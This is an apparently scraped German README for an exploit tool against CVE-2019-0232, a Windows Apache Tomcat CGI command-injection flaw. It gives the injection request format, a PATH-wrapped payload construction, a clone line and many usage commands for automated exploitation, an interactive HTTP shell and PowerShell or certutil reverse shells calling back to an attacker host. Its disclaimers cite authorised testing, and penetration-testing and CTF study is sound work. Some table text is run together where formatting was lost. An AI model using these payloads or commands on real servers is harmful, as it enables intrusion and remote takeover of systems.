
Apache Tomcat CGI Servlet RCE (Windows)
Nur für Bildungszwecke und autorisierte CTF-/Penetrationstests.
Die Verwendung gegen Systeme, die nicht Ihr Eigentum sind oder für die Sie keine ausdrückliche schriftliche Erlaubnis zum Testen haben, ist illegal.
CVE-2019-0232 ist eine Remote-Codeausführung-Schwachstelle in Apache Tomcat unter Windows.
Wenn das CGI-Servlet enableCmdLineArguments=true hat (vor dem Patch unter Windows standardmäßig aktiviert), übergibt Tomcat die HTTP-Abfragezeichenfolge direkt als Befehlszeilenargumente an die CGI-Batchdatei über Runtime.exec(). Unter Windows umschließt Runtime.exec() den Aufruf mit cmd.exe /c, sodass das &-Befehlsseparator innerhalb dieser Argumente aktiv ist.
Ein Angreifer kann einen zweiten Betriebssystembefehl injizieren, indem er & (URL-kodiert als %26) in die URL einfügt:
GET /cgi-bin/cmd.bat?%26whoami HTTP/1.1
# Tomcat dekodiert die URL → cmd.exe /c cmd.bat &whoami
# cmd.exe sieht das & und führt whoami aus, nachdem cmd.bat beendet ist
| Branch | Angreifbarer Bereich | Behoben in |
|---|---|---|
| 9.0.x | 9.0.0.M1 – 9.0.17 | 9.0.18 |
| 8.5.x | 8.5.0 – 8.5.39 | 8.5.40 |
| 7.0.x | 7.0.0 – 7.0.93 | 7.0.94 |
Voraussetzung: enableCmdLineArguments=true in conf/web.xml (vor Patch unter Windows standardmäßig aktiviert).
-w)--cmd)certutil-Stager (Fallback)System32, Windows, Wbem, PowerShell, sodass whoami, ipconfig, netstat, powershell.exe ohne vollständige Pfade funktionierengit clone https://github.com/blackjuker2/CVE-2019-0232.git
cd CVE-2019-0232
pip install -r requirements.txt
Python 3.8+ erforderlich.
python3 cve_2019_0232.py -t <TARGET_URL> [options]
Auto-Modus — Skript findet alles automatisch:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --auto
Einzelner Befehl auf bekanntem Endpunkt:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --cmd whoami
Interaktive Shell-Schleife:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --interactive
Vollständige Auto-Kette → Reverse Shell (kein separater nc erforderlich):
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --auto --reverse-shell --lhost 10.10.14.x --lport 4444
Das Skript öffnet seinen eigenen TCP-Listener auf --lport, sendet das PowerShell-Payload und wechselt in eine interaktive Shell, sobald das Ziel zurückruft.
PowerShell-Reverse-Shell auf bekanntem Pfad:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --reverse-shell --lhost 10.10.14.x --lport 4444
certutil-Stager (falls PowerShell blockiert ist):
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --reverse-shell --lhost 10.10.14.x --lport 4444 --shell-method certutil
Benutzerdefinierte Wortliste für Fuzzing:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --fuzz -w /usr/share/dirb/wordlists/common.txt
Einträge ohne Dateierweiterung werden automatisch sowohl als .bat als auch als .cmd geprüft.
Proxy über Burp Suite:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --cmd whoami --proxy http://127.0.0.1:8080
Zeige die rohe Injektions-URL vor jeder Anfrage:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --interactive --show-url
positional / erforderlich:
-t, --target URL Basis-URL des Ziels z. B. http://10.10.10.x:8080
Pfad:
-p, --path PATH Bekannter CGI-Skript-Pfad z. B. /cgi/cmd.bat
Modi:
--auto Vollständige Kette: enum → fuzz → interaktiv
--enum Tomcat-Version und CGI-Pfade ermitteln
--fuzz Nach zugänglichen CGI-Skript-Endpunkten fuzzen
--cmd COMMAND Einzelnen Befehl ausführen und Ausgabe ausgeben
--interactive Interaktive Befehlsschleife (HTTP-Shell)
--reverse-shell PowerShell-Reverse-Shell senden
Reverse Shell:
--lhost IP Ihre Listener-IP (für HTB/OSCP tun0 verwenden)
--lport PORT Ihr Listener-Port (Standard: 4444)
--shell-method {ps,certutil}
Payload-Typ: ps (Standard) oder certutil-Stager
Optionen:
-w, --wordlist DATEI Zusätzliche CGI-Namen zum Fuzzen (einer pro Zeile)
--threads N Fuzz-Threads (Standard: 15)
--timeout N HTTP-Timeout in Sekunden (Standard: 10)
--proxy URL HTTP-Proxy z. B. http://127.0.0.1:8080
--no-ssl-verify TLS-Zertifikatsprüfung deaktivieren
--show-url Vollständige Injektions-URL vor jeder Anfrage anzeigen
Das Skript erstellt die Injektions-URL in drei Schritten:
PATH-Injektion — umschließt Ihren Befehl in eine Gruppe, die zuerst PATH setzt:
(SET PATH=C:\Windows\System32;C:\Windows;...&echo.&<Ihr Befehl> 2>&1)
Das echo. gibt eine leere Zeile aus und befriedigt Tomcats CGI-Header-Parser, sodass der Antworttext sichtbar ist.
URL-Kodierung — Leerzeichen werden zu +, Sonderzeichen werden über urllib.parse.quote zu %XX.
Injektionspunkt — die kodierte Gruppe wird nach %26 (dem &-Separator) platziert:
/cgi/cmd.bat?%26(SET+PATH=...%26echo.%26whoami+2>%261)
Dieses Tool wird ausschließlich für Bildungszwecke und autorisierte Sicherheitstests bereitgestellt.
Der Autor übernimmt keine Verantwortung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.
Holen Sie stets eine ausdrückliche schriftliche Erlaubnis ein, bevor Sie ein System testen.
2>&1 wird automatisch angehängt, sodass Fehlerausgaben sichtbar sind--proxy http://127.0.0.1:8080 leiten| Flagge | Beschreibung |
|---|
--auto | Ermitteln → Fuzzen → in interaktive Shell wechseln |
--enum | Nur Tomcat-Version und CGI-Pfade ermitteln |
--fuzz | Nach zugänglichen .bat/.cmd-Endpunkten fuzzen |
--cmd COMMAND | Einen einzelnen Befehl ausführen |
--interactive | Interaktive HTTP-Shell-Schleife |
--reverse-shell | Reverse Shell starten (erfordert --lhost) |